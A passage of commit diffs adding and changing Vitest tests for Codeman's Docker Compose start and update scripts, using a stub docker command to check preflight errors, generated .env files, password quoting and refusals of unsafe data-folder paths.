import { tmpdir } from 'node:os';
import { join } from 'node:path';
@@ -309,6 +309,21 @@ describe('Update-Codeman.sh (the scripted major-update path — docker/README.md
const casesPath = join(dir, 'cases');
const socketPath = join(dir, 'docker.sock'); // deliberately NOT a real socket — see above
mkdirSync(appdataPath);
// Both scripts derive PUID:PGID from the appdata owner and REFUSE a
// root-owned one (correctly: the container must never run as root).
// mkdirSync gives it the runner's uid, so under a root runner (a CI or
// agent container) the update path stopped at that guard before its
// build. Give it the non-root owner docker/README.md's own
// `chown -R 99:100` example sets up, as a real deployment would have.
if (process.getuid?.() === 0) {
try {
chownSync(appdataPath, 99, 100);
} catch {
// No CAP_CHOWN (root with --cap-drop ALL, as Codeman's own Docker
// case containers run) or a single-uid user namespace: leave it
// root-owned and let the scripts' own guard refuse, as before.
}
}
mkdirSync(casesPath);
writeFileSync(socketPath, '');
+10
View File
@@ -106,6 +106,16 @@ describe('buildDockerLaunchCommand', () => {
expect(cmd).toContain('tmux -L codeman-docker setenv -g CODEMAN_SESSION_ID');
expect(cmd).toContain('new-session -A -s codeman-dkr-1a2b3c4d');
expect(cmd).toContain("sh -lc '");
// The in-container tmux keeps prefix C-q. Without this reduction its stock
// prefix table runs switch-client / choose-tree for the inner client.
// Bind, unbind-all, bind again: an empty prefix table makes unbind-key -a
// fail and abort the rest of the \; chain.
const firstBind = cmd.indexOf('bind-key -T prefix C-q send-prefix');
const unbind = cmd.indexOf('unbind-key -a -T prefix');
const secondBind = cmd.indexOf('bind-key -T prefix C-q send-prefix', unbind);
expect(firstBind).toBeGreaterThan(cmd.indexOf('prefix C-q'));
expect(unbind).toBeGreaterThan(firstBind);
expect(secondBind).toBeGreaterThan(unbind);
});
it('pins a deterministic conversation id with a reboot-surviving fallback (fresh launch)', () => {
+23
View File
@@ -28,6 +28,7 @@ import {
persistDockerCaseClaudeSessionId,
probeDockerCliVersion,
readDockerCases,
readDockerCasesOrThrow,
readDockerHosts,
resolveClaudeJsonSeedMount,
resolveDockerClaudeArtifacts,
@@ -70,6 +71,28 @@ describe('docker-hosts storage', () => {
expect(await readDockerCases(dir)).toEqual([]);
});
/**
* The git fetch paths read the list through the strict reader: the writer truncates and rewrites the file in
* place, and a list read as `[]` there would let a fetch run git inside a Docker workspace.
*/
it('has a strict reader that rejects a list it cannot parse, where the plain reader returns []', async () => {
expect(await readDockerCasesOrThrow(dir)).toEqual([]); // missing: no cases
await writeDockerCases(dir, [CASE]);
expect(await readDockerCasesOrThrow(dir)).toEqual([CASE]);
const path = join(dir, 'docker-cases.json');
for (const text of ['', '[{"name":"myproj","hostWorkspacePath":"/home/arkon/cas', '{"name":"myproj"}', 'null']) {
writeFileSync(path, text);
expect(await readDockerCases(dir)).toEqual([]);
const err = await readDockerCasesOrThrow(dir).then(
() => null,
(e: Error) => e
);
expect(err?.message).toMatch(/not a valid JSON array/);
// The parser's message quotes the file; the strict reader's never does.
expect(err?.message).not.toContain('/home/arkon/cas');
}
});
it('persists the last Claude conversation id keyed by container name', async () => {
await writeDockerCases(dir, [CASE, { ...CASE, name: 'other', container: 'custom-name' }]);
await persistDockerCaseClaudeSessionId(dir, dockerContainerName(CASE.name), 'conv-1');
+641
View File
@@ -0,0 +1,641 @@
/**
* @fileoverview The Docker Compose deployment's first-run path: what
* `docker/Start-Codeman.sh` does on a machine that has never run it.
*
* 1. Preflight: a missing `docker`, a missing or too-old Compose plugin and an
* unreachable daemon each stop the script with the fix named, before any
* question is asked or any file is written. The permission case points at
* the docker group, never at sudo (a root run cannot do the first-run setup).
* 2. Setup: with no `docker/.env`, the script writes one generated FROM
* `.env.example`, so every key the example sets is present. That is the
* exact check the in-app updater runs (`diffRequiredEnvKeys`), and a
* generated file missing a key would block the user's next update. The file
* is 0600, the generated password is alphanumeric (Compose's dotenv
* interpolates `$` and treats ` #` as a comment) and shown only on a
* terminal, and a data folder that would collide with a native install's
* `~/.codeman`, `$HOME` itself or the image build context is refused.
* 3. An existing `docker/.env` is never rewritten: the update path
* (Update-Codeman.sh hands off to this script) must stay byte-for-byte.
* 4. A `.env` still carrying the example password `changeme` is refused before
* anything is built or started.
*
* Runs the REAL script against a stub `docker` on PATH with stdin not a TTY,
* which is also the "no terminal attached, take the defaults" path. The tests
* of the questions themselves run on a real pty.
*/
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
import { createServer, type Server } from 'node:net';
import {
readFileSync,
mkdtempSync,
rmSync,
writeFileSync,
mkdirSync,
statSync,
lstatSync,
existsSync,
symlinkSync,
readdirSync,
} from 'node:fs';
import { execFileSync, spawnSync } from 'node:child_process';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { diffRequiredEnvKeys, parseEnvKeys } from '../src/web/self-update.js';
const ROOT = process.cwd();
const startScript = readFileSync(join(ROOT, 'docker/Start-Codeman.sh'), 'utf-8');
const updateScript = readFileSync(join(ROOT, 'docker/Update-Codeman.sh'), 'utf-8');
const example = readFileSync(join(ROOT, 'docker/.env.example'), 'utf-8');
const compose = readFileSync(join(ROOT, 'docker/docker-compose.yaml'), 'utf-8');
/** Absolute, so a run whose PATH deliberately lacks most tools can still start bash. */
const BASH = execFileSync('bash', ['-c', 'command -v bash'], { encoding: 'utf-8' }).trim();
/** The run on a real terminal needs util-linux `script`; BSD's takes different arguments. */
const HAS_PTY = process.platform === 'linux' && spawnSync('script', ['--version']).status === 0;
/** The values the first run fills in; every other line must be the example's. */
const REWRITTEN_KEYS = ['TZ', 'CODEMAN_APPDATA_PATH', 'CODEMAN_CASES_PATH', 'CODEMAN_PORT', 'CODEMAN_PASSWORD'];
/**
* A stub `docker` that logs every invocation and answers the calls the script
* makes. `compose ... config --environment` sources the env file and prints the
* keys the script reads, with the shell environment beating the file as it does
* in Compose. Bash reads a single-quoted value the way Compose's dotenv does
* except for a backslash before the closing quote: see `composeReads`.
*/
const STUB = [
'#!/usr/bin/env bash',
'echo "docker $*" >> "$CMDLOG"',
// Docker CLI 24 to 27 answer `info --format` with exit 0 and the error on
// stderr when the daemon is unreachable (measured on 27.5.1); `version --format`
// exits 1 on every release.
'if [[ "$1" == "info" ]]; then',
' if [[ -n "${STUB_DAEMON_ERR:-}" ]]; then echo "$STUB_DAEMON_ERR" >&2; exit 0; fi',
' echo 27.0.0; exit 0',
'fi',
'if [[ "$1" == "version" ]]; then',
' if [[ -n "${STUB_DAEMON_ERR:-}" ]]; then echo "$STUB_DAEMON_ERR" >&2; exit 1; fi',
' echo 27.0.0; exit 0',
'fi',
'if [[ "$1" == "compose" ]]; then',
' if [[ -n "${STUB_NO_COMPOSE:-}" ]]; then echo "docker: unknown command: docker compose" >&2; exit 1; fi',
' if [[ "$2" == "version" ]]; then',
' if [[ "${3:-}" == "--short" ]]; then echo "${STUB_COMPOSE_VERSION:-2.30.0}"; else echo "Docker Compose version v${STUB_COMPOSE_VERSION:-2.30.0}"; fi',
' exit 0',
' fi',
' prev=""; envfile=""',
' for a in "$@"; do',
' if [[ "$prev" == "--env-file" ]]; then envfile="$a"; fi',
' prev="$a"',
' done',
' if [[ " $* " == *" config "* && " $* " == *" --environment "* ]]; then',
' keys="CODEMAN_APPDATA_PATH CODEMAN_CASES_PATH DOCKER_SOCKET CODEMAN_PORT CODEMAN_USERNAME CODEMAN_PASSWORD"',
' for k in $keys; do if [[ -n "${!k+x}" ]]; then printf -v "shell_$k" %s "${!k}"; fi; done',
' set -a; source "$envfile"; set +a',
' DOCKER_SOCKET="${STUB_DOCKER_SOCKET:-$DOCKER_SOCKET}"',
' for k in $keys; do',
' shell="shell_$k"',
' printf "%s=%s\\n" "$k" "${!shell-${!k}}"',
' done',
' exit 0',
' fi',
' if [[ " $* " == *" config "* && " $* " == *" --format json "* ]]; then printf \'{\\n "name": "codeman"\\n}\\n\'; exit 0; fi',
' if [[ " $* " == *" up "* && -n "${STUB_UP_FAIL:-}" ]]; then echo "network error pulling a layer" >&2; exit 1; fi',
' if [[ " $* " == *" ps -q codeman "* ]]; then echo cid123; exit 0; fi',
' if [[ " $* " == *" port codeman "* ]]; then echo "0.0.0.0:${@: -1}"; exit 0; fi',
' if [[ " $* " == *" logs "* ]]; then echo "FAKE-LOG: server crashed"; exit 0; fi',
' exit 0',
'fi',
'if [[ "$1" == "inspect" ]]; then echo "${STUB_STATE:-running|healthy|0}"; exit 0; fi',
'if [[ "$1" == "exec" ]]; then exit 1; fi',
'exit 0',
].join('\n');
interface Run {
status: number;
stdout: string;
stderr: string;
log: string[];
env: string | null;
envMode: number | null;
home: string;
dir: string;
/** What was in HOME when the run ended; the sandbox is gone by the time a test reads this. */
homeEntries: string[];
/** What `docker/.env` is when the run ended, without following a symlink. */
envKind: 'file' | 'directory' | 'symlink' | null;
/** What a `docker/.env` that is a directory holds. */
envDirEntries: string[];
}
/**
* Lays out `<dir>/repo/docker/{Start-Codeman.sh,.env.example,docker-compose.yaml}`
* plus a stub `docker`, runs the script with a temp HOME and stdin closed (not a
* TTY), and returns what happened. `existingEnv` seeds `docker/.env` first.
*/
function runStart(
args: string[],
opts: {
env?: Record<string, string>;
existingEnv?: string;
/** Makes `docker/.env` something other than a regular file. */
envShape?: 'directory' | 'dangling-symlink' | 'symlink-to-file';
noDocker?: boolean;
/** A real Unix socket to use as DOCKER_SOCKET (the start path checks `-S`). */
socket?: string;
/** Run Update-Codeman.sh (which hands off to Start-Codeman.sh) instead. */
update?: boolean;
/** CODEMAN_APPDATA_PATH preset, built from the sandbox's own paths. */
appdata?: (p: { home: string; repo: string }) => string;
/**
* Keystrokes for a run on a REAL terminal (a pty from util-linux `script`,
* so Linux only), which is the only way to reach the questions: the script
* reads stdin only when `-t 0` holds.
*/
terminal?: string;
} = {}
): Run {
const dir = mkdtempSync(join(tmpdir(), 'codeman-start-setup-'));
try {
const home = join(dir, 'home');
const dockerDir = join(dir, 'repo', 'docker');
mkdirSync(home);
mkdirSync(dockerDir, { recursive: true });
writeFileSync(join(dockerDir, 'Start-Codeman.sh'), startScript);
writeFileSync(join(dockerDir, 'Update-Codeman.sh'), updateScript);
writeFileSync(join(dockerDir, '.env.example'), example);
writeFileSync(join(dockerDir, 'docker-compose.yaml'), compose);
// Hashed by the start path for the updater's fingerprint baseline.
writeFileSync(join(dockerDir, 'server.Dockerfile'), readFileSync(join(ROOT, 'docker/server.Dockerfile')));
if (opts.existingEnv !== undefined) writeFileSync(join(dockerDir, '.env'), opts.existingEnv);
if (opts.envShape === 'directory') mkdirSync(join(dockerDir, '.env'));
if (opts.envShape === 'dangling-symlink') symlinkSync(join(dir, 'no-such-file'), join(dockerDir, '.env'));
if (opts.envShape === 'symlink-to-file') {
writeFileSync(join(dir, 'real.env'), 'CODEMAN_PASSWORD=mine-and-only-mine\n');
symlinkSync(join(dir, 'real.env'), join(dockerDir, '.env'));
}
const binDir = join(dir, 'bin');
mkdirSync(binDir);
let path: string;
if (opts.noDocker) {
// Only what the script runs before its `command -v docker` check, so the
// host's own docker (if any) cannot be found.
symlinkSync(
execFileSync('bash', ['-c', 'command -v dirname'], { encoding: 'utf-8' }).trim(),
join(binDir, 'dirname')
);
path = binDir;
} else {
const stubPath = join(binDir, 'docker');
writeFileSync(stubPath, STUB);
execFileSync('bash', ['-c', `chmod +x '${stubPath}'`]);
path = `${binDir}:${process.env.PATH}`;
}
const logPath = join(dir, 'cmdlog.txt');
writeFileSync(logPath, '');
const env: Record<string, string> = { ...process.env, HOME: home, PATH: path, CMDLOG: logPath } as Record<
string,
string
>;
// A developer shell exporting any of these would change the defaults under test.
for (const k of ['CODEMAN_APPDATA_PATH', 'CODEMAN_PORT', 'CODEMAN_PASSWORD', 'CODEMAN_NONINTERACTIVE'])
delete env[k];
Object.assign(env, opts.env ?? {});
if (opts.appdata) env.CODEMAN_APPDATA_PATH = opts.appdata({ home, repo: join(dir, 'repo') });
if (opts.socket) env.STUB_DOCKER_SOCKET = opts.socket;
const entry = join(dockerDir, opts.update ? 'Update-Codeman.sh' : 'Start-Codeman.sh');
const res =
opts.terminal === undefined
? spawnSync(BASH, [entry, ...args], { env, encoding: 'utf-8', stdio: ['ignore', 'pipe', 'pipe'] })
: spawnSync('script', ['-qefc', [BASH, entry, ...args].join(' '), '/dev/null'], {
env,
encoding: 'utf-8',
input: opts.terminal,
});
const envPath = join(dockerDir, '.env');
const envEntry = lstatSync(envPath, { throwIfNoEntry: false });
const envKind = !envEntry
? null
: envEntry.isSymbolicLink()
? 'symlink'
: envEntry.isDirectory()
? 'directory'
: 'file';
const hasEnv = envKind === 'file' || (envKind === 'symlink' && existsSync(envPath));
return {
status: res.status ?? 1,
// A terminal turns every line end into CRLF.
stdout: res.stdout.replace(/\r/g, ''),
stderr: res.stderr,
log: readFileSync(logPath, 'utf-8')
.split('\n')
.filter((l) => l.trim()),
env: hasEnv ? readFileSync(envPath, 'utf-8') : null,
envMode: hasEnv ? statSync(envPath).mode & 0o777 : null,
home,
dir,
homeEntries: readdirSync(home),
envKind,
envDirEntries: envKind === 'directory' ? readdirSync(envPath) : [],
};
} finally {
rmSync(dir, { recursive: true, force: true });
}
}
/** The single (unquoted or single-quoted) value of KEY in a dotenv text. */
function envValue(text: string, key: string): string | undefined {
const line = text.split('\n').find((l) => l.startsWith(`${key}=`));
if (line === undefined) return undefined;
const raw = line.slice(key.length + 1);
return raw.startsWith("'") && raw.endsWith("'") ? raw.slice(1, -1) : raw;
}
/**
* What Compose reads from a single-quoted dotenv value, or null when it refuses
* the file with `unterminated quoted value`. A backslash there escapes the next
* character, so `'longpass\\'` never closes, while bash (and so the stub) ends
* the same value at that quote. Measured on Compose 2.33.0 and 5.5.0.
*/
function composeReads(quoted: string): string | null {
let escaped = false;
for (let i = 1; i < quoted.length; i++) {
if (quoted[i] === "'" && !escaped) return i === quoted.length - 1 ? quoted.slice(1, i) : null;
escaped = quoted[i] === '\\' && !escaped;
}
return null;
}
describe('Start-Codeman.sh first run (no docker/.env yet)', () => {
it('parses under bash -n', () => {
execFileSync('bash', ['-n', join(ROOT, 'docker/Start-Codeman.sh')]);
});
it('writes docker/.env from .env.example with every key the updater requires, mode 0600', () => {
const r = runStart(['--setup-only']);
expect(r.status, r.stderr).toBe(0);
expect(r.env).not.toBeNull();
const env = r.env as string;
expect(r.envMode).toBe(0o600);
// The in-app updater's own check: no key the example sets may be missing.
expect(diffRequiredEnvKeys(example, env)).toEqual([]);
expect(parseEnvKeys(env)).toEqual(parseEnvKeys(example));
// --setup-only stops before Compose is asked anything about the stack.
expect(r.log.some((l) => / (up|build|config)( |$)/.test(l))).toBe(false);
});
it('changes only the five first-run values and keeps every other line of the example', () => {
const r = runStart(['--setup-only']);
const generated = (r.env as string).split('\n');
const exampleLines = example.split('\n');
// Header comments first, then the example line for line.
const offset = generated.length - exampleLines.length;
expect(offset).toBeGreaterThan(0);
for (let i = 0; i < exampleLines.length; i++) {
const want = exampleLines[i];
const got = generated[i + offset];
const key = want.match(/^([A-Z_][A-Z0-9_]*)=/)?.[1];
if (key && REWRITTEN_KEYS.includes(key)) {
expect(got.startsWith(`${key}=`)).toBe(true);
} else {
expect(got).toBe(want);
}
}
});
it('defaults: a data folder of its own under HOME, cases inside it, a strong alphanumeric password', () => {
const r = runStart(['--setup-only']);
const env = r.env as string;
const appdata = envValue(env, 'CODEMAN_APPDATA_PATH');
expect(appdata).toBe(join(r.home, 'codeman-docker'));
expect(envValue(env, 'CODEMAN_CASES_PATH')).toBe(join(r.home, 'codeman-docker', 'codeman-cases'));
expect(appdata).not.toContain('.codeman');
const password = envValue(env, 'CODEMAN_PASSWORD') as string;
expect(password).toMatch(/^[A-Za-z0-9]{24}$/);
expect(password).not.toBe('changeme');
expect(envValue(env, 'CODEMAN_PORT')).toMatch(/^\d+$/);
expect(envValue(env, 'TZ')).toMatch(/^[A-Za-z0-9_+/-]+$/);
// No terminal here, and a captured log must not hold the password.
expect(r.stdout).not.toContain(password);
expect(r.stdout).toMatch(/generated; read it from docker\/\.env/);
expect(r.stdout).toMatch(/No questions asked/);
});
it('takes presets from the environment and quotes values Compose would otherwise interpolate', () => {
const r = runStart(['--setup-only'], {
env: { CODEMAN_PASSWORD: 'pa$$ #word', CODEMAN_PORT: '4567', CODEMAN_APPDATA_PATH: '/srv/My Data/codeman/' },
});
expect(r.status, r.stderr).toBe(0);
const lines = (r.env as string).split('\n');
expect(lines).toContain("CODEMAN_PASSWORD='pa$$ #word'");
expect(lines).toContain('CODEMAN_PORT=4567');
// Trailing slash dropped, the space kept by quoting.
expect(lines).toContain("CODEMAN_APPDATA_PATH='/srv/My Data/codeman'");
expect(lines).toContain("CODEMAN_CASES_PATH='/srv/My Data/codeman/codeman-cases'");
// A password the user chose is never echoed.
expect(r.stdout).not.toContain('pa$$ #word');
});
it.each([
['HOME itself', ({ home }: { home: string }) => home, /folder of its own/],
['HOME typed as ~', () => '~', /folder of its own/],
['a native install state dir', ({ home }: { home: string }) => join(home, '.codeman'), /installed directly/],
['inside a native install state dir', () => '~/.codeman/docker', /installed directly/],
['a relative path', () => 'codeman-data', /absolute path/],
['the checkout, which is the image build context', ({ repo }: { repo: string }) => repo, /copied into the image/],
['a folder inside the checkout', ({ repo }: { repo: string }) => join(repo, 'data'), /copied into the image/],
// join() would resolve these, which is the whole point: the refusals above compare strings.
['HOME spelled through ..', ({ home }: { home: string }) => `${home}/../home`, /without \. or \.\./],
['the checkout spelled through ..', ({ home }: { home: string }) => `${home}/../repo/data`, /without \. or \.\./],
['a path ending in ..', ({ home }: { home: string }) => `${home}/data/..`, /without \. or \.\./],
['a native install spelled through .', ({ home }: { home: string }) => `${home}/./.codeman`, /without \. or \.\./],
[
'a native install behind a doubled slash',
({ home }: { home: string }) => `${home}//.codeman`,
/installed directly/,
],
['the checkout behind a doubled slash', ({ repo }: { repo: string }) => `${repo}//data`, /copied into the image/],
])('refuses %s as the data folder and writes nothing', (_name, appdata, reason) => {
const r = runStart(['--setup-only'], { appdata });
expect(r.status).toBe(1);
expect(r.stderr).toMatch(reason);
expect(r.env).toBeNull();
});
it.each([
['a single quote', "it's-a-password"],
['the example placeholder', 'changeme'],
['fewer than 8 characters', 'short'],
['a trailing backslash, which would escape the closing quote', 'longpass\\'],
])('refuses a preset password with %s', (_name, password) => {
const r = runStart(['--setup-only'], { env: { CODEMAN_PASSWORD: password } });
expect(r.status).toBe(1);
expect(r.env).toBeNull();
});
it('refuses a data folder ending in a backslash, even behind a trailing slash', () => {
for (const path of ['/srv/data\\', '/srv/data\\/']) {
const r = runStart(['--setup-only'], { env: { CODEMAN_APPDATA_PATH: path } });
expect(r.status).toBe(1);
expect(r.stderr).toMatch(/cannot end in a backslash/);
expect(r.env).toBeNull();
}
});
it.each(['mid\\dle-pass', 'pa$$ #word', 'back`tick"quote', 'tab\there'])(
'writes %j so Compose reads it back exactly',
(password) => {
const r = runStart(['--setup-only'], { env: { CODEMAN_PASSWORD: password } });
expect(r.status, r.stderr).toBe(0);
const line = (r.env as string).split('\n').find((l) => l.startsWith('CODEMAN_PASSWORD=')) as string;
expect(composeReads(line.slice('CODEMAN_PASSWORD='.length))).toBe(password);
}
);
it('refuses a dangling docker/.env symlink instead of replacing the link', () => {
const r = runStart(['--setup-only'], { envShape: 'dangling-symlink' });
expect(r.status).toBe(1);
expect(r.stderr).toMatch(/not a regular file/);
expect(r.envKind).toBe('symlink');
});
it('refuses a docker/.env directory instead of writing a password file into it', () => {
const r = runStart(['--setup-only'], { envShape: 'directory' });
expect(r.status).toBe(1);
expect(r.stderr).toMatch(/not a regular file/);
expect(r.envKind).toBe('directory');
expect(r.envDirEntries).toEqual([]);
});
it('treats a docker/.env symlink to a real file as an existing install', () => {
const r = runStart(['--setup-only'], { envShape: 'symlink-to-file' });
expect(r.status, r.stderr).toBe(0);
expect(r.stdout).toMatch(/already exists/);
expect(r.envKind).toBe('symlink');
});
it('keeps a folder name that merely starts with a dot or dots', () => {
const r = runStart(['--setup-only'], { appdata: ({ home }) => `${home}/..data/.state` });
expect(r.status, r.stderr).toBe(0);
expect(envValue(r.env as string, 'CODEMAN_APPDATA_PATH')).toBe(`${r.home}/..data/.state`);
});
it('never rewrites an existing docker/.env', () => {
const existing = '# hand-written\nCODEMAN_PASSWORD=mine-and-only-mine\nCODEMAN_APPDATA_PATH=/x\n';
const r = runStart(['--setup-only'], { existingEnv: existing });
expect(r.status, r.stderr).toBe(0);
expect(r.env).toBe(existing);
expect(r.stdout).toMatch(/already exists/);
});
});
describe('Start-Codeman.sh preflight', () => {
it('names the docker group (not sudo) when the account cannot reach the daemon', () => {
const r = runStart(['--setup-only'], {
env: {
STUB_DAEMON_ERR: 'permission denied while trying to connect to the docker API at unix:///var/run/docker.sock',
},
});
expect(r.status).toBe(1);
expect(r.stderr).toMatch(/sudo usermod -aG docker /);
expect(r.stderr).toMatch(/log out and back in/);
expect(r.env).toBeNull();
});
it('says to start Docker when the daemon is not running, quoting what Docker said', () => {
const r = runStart(['--setup-only'], {
env: { STUB_DAEMON_ERR: 'failed to connect to the docker API at unix:///var/run/docker.sock' },
});
expect(r.status).toBe(1);
expect(r.stderr).toMatch(/daemon is not reachable/);
expect(r.stderr).toContain('failed to connect to the docker API');
expect(r.env).toBeNull();
});
it('refuses a Compose older than 2.27.2, which has no `config --environment`', () => {
const r = runStart(['--setup-only'], { env: { STUB_COMPOSE_VERSION: '2.27.0' } });
expect(r.status).toBe(1);
expect(r.stderr).toMatch(/Compose 2\.27\.0 is too old; Codeman needs 2\.27\.2 or newer/);
expect(r.env).toBeNull();
});
it('accepts newer Compose majors (v5 here) and a v-prefixed version', () => {
expect(runStart(['--setup-only'], { env: { STUB_COMPOSE_VERSION: '5.5.0' } }).status).toBe(0);
expect(runStart(['--setup-only'], { env: { STUB_COMPOSE_VERSION: 'v2.27.2' } }).status).toBe(0);
});
it('explains a missing Compose plugin', () => {
const r = runStart(['--setup-only'], { env: { STUB_NO_COMPOSE: '1' } });
expect(r.status).toBe(1);
expect(r.stderr).toMatch(/Compose v2 plugin is missing/);
});
it('explains a missing docker command', () => {
const r = runStart(['--setup-only'], { noDocker: true });
expect(r.status).toBe(1);
expect(r.stderr).toMatch(/Docker is not installed/);
});
});
describe('Start-Codeman.sh on an existing install', () => {
it('refuses to start while CODEMAN_PASSWORD is still `changeme`, before building anything', () => {
const existing = example; // a straight copy of the example, never edited
const r = runStart([], { existingEnv: existing });
expect(r.status).toBe(1);
expect(r.stderr).toMatch(/still the example value "changeme"/);
expect(r.log.some((l) => / (up|build|down)( |$)/.test(l))).toBe(false);
expect(r.env).toBe(existing);
});
it('Update-Codeman.sh refuses `changeme` BEFORE its build and `down`, so the stack is never left stopped', () => {
// An existing appdata dir, so the check this is about is the one reached.
const existing = example.replace(/^CODEMAN_APPDATA_PATH=.*$/m, `CODEMAN_APPDATA_PATH=${tmpdir()}`);
const r = runStart([], { existingEnv: existing, update: true });
expect(r.status).toBe(1);
expect(r.stderr).toMatch(/still the example value "changeme"/);
expect(r.stderr).toMatch(/Nothing was stopped/);
expect(r.log.some((l) => / (build|down|up)( |$)/.test(l))).toBe(false);
});
it('rejects an unrecognised argument and prints usage for --help', () => {
expect(runStart(['--bogus']).status).toBe(1);
const help = runStart(['--help']);
expect(help.status).toBe(0);
expect(help.stdout).toMatch(/--setup-only/);
});
});
/**
* The whole start path against the stub: no `docker/.env`, so setup, then
* `up`, the readiness wait and the summary. Needs a real Unix socket for the
* `DOCKER_SOCKET` check, which Windows cannot provide reliably (see the note in
* docker-entrypoint.test.ts), so it runs on Linux and macOS only.
*/
describe.skipIf(process.platform === 'win32')('Start-Codeman.sh first run, start to summary', () => {
let sockDir = '';
let sockPath = '';
let server: Server | null = null;
beforeAll(async () => {
sockDir = mkdtempSync(join(tmpdir(), 'codeman-start-sock-'));
sockPath = join(sockDir, 'docker.sock');
server = createServer();
await new Promise<void>((resolve) => server!.listen(sockPath, resolve));
});
afterAll(async () => {
await new Promise<void>((resolve) => (server ? server.close(() => resolve()) : resolve()));
rmSync(sockDir, { recursive: true, force: true });
});
it('ends on the URL, where the password is and the log/stop commands once the container is healthy', () => {
const r = runStart([], { socket: sockPath, env: { CODEMAN_PORT: '4321' } });
expect(r.status, r.stderr).toBe(0);
const password = envValue(r.env as string, 'CODEMAN_PASSWORD') as string;
expect(r.stdout).toMatch(/Waiting for Codeman to answer\.\.\. ready\./);
expect(r.stdout).toContain('http://localhost:4321');
// Stdout is captured here, so docker/.env is the only place the password appears.
expect(r.stdout).not.toContain(password);
expect(r.stdout).toMatch(/Sign in +admin, with the CODEMAN_PASSWORD from .*docker\/\.env/);
expect(r.stdout).toMatch(/Logs +cd .* && docker compose logs -f codeman/);
expect(r.stdout).toMatch(/Stop +cd .* && docker compose down/);
// Rerunning alone rebuilds the same checkout: nothing here fetches.
expect(r.stdout).toMatch(/Update +App Settings > Updates in the dashboard, or git pull and rerun this script/);
const up = r.log.findIndex((l) => / up --build -d/.test(l));
expect(up).toBeGreaterThan(-1);
expect(r.log.findIndex((l) => l.startsWith('docker inspect'))).toBeGreaterThan(up);
});
it('runs on the port docker/.env holds, not on the preset the shell still exports', () => {
const r = runStart([], { socket: sockPath, env: { CODEMAN_PORT: '04444' } });
expect(r.status, r.stderr).toBe(0);
expect(envValue(r.env as string, 'CODEMAN_PORT')).toBe('4444');
expect(r.stdout).toContain('http://localhost:4444');
expect(r.stdout).not.toContain('04444');
});
it.skipIf(!HAS_PTY)('a typed answer beats a preset for the stack itself, not just the file', () => {
const r = runStart([], {
socket: sockPath,
appdata: ({ home }) => join(home, 'preset-data'),
env: { CODEMAN_PORT: '4444' },
terminal: '~/typed-data\n5555\n\n',
});
expect(r.status, r.stdout).toBe(0);
const env = r.env as string;
expect(envValue(env, 'CODEMAN_APPDATA_PATH')).toBe(join(r.home, 'typed-data'));
expect(envValue(env, 'CODEMAN_PORT')).toBe('5555');
expect(r.stdout).toContain('http://localhost:5555');
expect(r.homeEntries).toContain('typed-data');
expect(r.homeEntries).not.toContain('preset-data');
});
it.skipIf(!HAS_PTY)('shows a generated password twice at a terminal', () => {
const r = runStart([], { socket: sockPath, terminal: '\n\n\n' });
expect(r.status, r.stdout).toBe(0);
const password = envValue(r.env as string, 'CODEMAN_PASSWORD') as string;
// Again at the end, since the build output has scrolled the first one away.
expect(r.stdout.split(password).length - 1).toBe(2);
});
it.skipIf(!HAS_PTY)('promises no second showing after --setup-only', () => {
const r = runStart(['--setup-only'], { terminal: '\n\n\n' });
expect(r.status, r.stdout).toBe(0);
const password = envValue(r.env as string, 'CODEMAN_PASSWORD') as string;
expect(r.stdout.split(password).length - 1).toBe(1);
expect(r.stdout).toMatch(/it stays in docker\/\.env/);
expect(r.stdout).not.toMatch(/shown again/);
});
it('reports a container that keeps restarting, with its last log lines, and exits 1', () => {
const r = runStart([], { socket: sockPath, env: { STUB_STATE: 'restarting||1' } });
expect(r.status).toBe(1);
expect(r.stderr).toMatch(/did not come up \(container restarting\)/);
expect(r.stderr).toContain('FAKE-LOG: server crashed');
expect(r.stdout).not.toMatch(/http:\/\/localhost/);
});
it('names the next step when `docker compose up` fails', () => {
const r = runStart([], { socket: sockPath, env: { STUB_UP_FAIL: '1' } });
expect(r.status).toBe(1);
expect(r.stderr).toMatch(/`docker compose up --build` failed/);
expect(r.stderr).toMatch(/rerunning this script resumes/);
});
it('--no-wait prints the summary without waiting on the container', () => {
const r = runStart(['--no-wait'], { socket: sockPath, env: { STUB_STATE: 'running|starting|0' } });
expect(r.status, r.stderr).toBe(0);
expect(r.stdout).toMatch(/--no-wait given/);
expect(r.log.some((l) => l.startsWith('docker inspect'))).toBe(false);
});
});
describe('version_older_than', () => {
const cases: Array<[string, string, boolean]> = [
['2.27.0', '2.27.2', true],
['2.27.1', '2.27.2', true],
['2.27.2', '2.27.2', false],
['2.28.0', '2.27.2', false],
['2.9.0', '2.27.2', true],
['5.5.0', '2.27.2', false],
['1.29.2', '2.27.2', true],
['', '2.27.2', false],
['dev', '2.27.2', false],
['2.27.2-desktop.1', '2.27.2', false],
];
it.each(cases)('%s older than %s: %s', (have, need, older) => {
const script = [
'set -euo pipefail',
`eval "$(sed -n '/^version_older_than() {/,/^}/p' "$1")"`,
'if version_older_than "$2" "$3"; then echo yes; else echo no; fi',
].join('\n');
const out = execFileSync('bash', ['-c', script, '_', join(ROOT, 'docker/Start-Codeman.sh'), have, need], {
encoding: 'utf-8',
}).trim();
expect(out).toBe(older ? 'yes' : 'no');
});
});
+9 -3
View File
@@ -1,10 +1,16 @@
import { describe, it, expect, beforeAll, afterAll, afterEach } from 'vitest';
import { WebServer } from '../src/web/server.js';
import { mkdtempSync, rmSync } from 'node:fs';
import { join } from 'node:path';
import { homedir } from 'node:os';
import { homedir, tmpdir } from 'node:os';
import { safeRmHomeTree } from './mocks/index.js';
const CASES_DIR = join(homedir(), 'codeman-cases');
// A folder of this file's own for the sessions below, never the machine's real `/tmp`:
// a create writes the workspace hooks and the agent skill (on by default) into its
// working dir, and those would outlive the run there.
const WORK_DIR = mkdtempSync(join(tmpdir(), 'codeman-edge-cases-'));
afterAll(() => rmSync(WORK_DIR, { recursive: true, force: true }));
describe('Edge Cases and Error Handling', () => {
let server: WebServer;
@@ -279,7 +285,7 @@ describe('Concurrent Session Handling', () => {
fetch(`${baseUrl}/api/sessions`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ workingDir: '/tmp' }),
body: JSON.stringify({ workingDir: WORK_DIR }),
}).then((r) => r.json())
);
@@ -312,7 +318,7 @@ describe('Concurrent Session Handling', () => {
const createRes = await fetch(`${baseUrl}/api/sessions`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ workingDir: '/tmp' }),
body: JSON.stringify({ workingDir: WORK_DIR }),
});
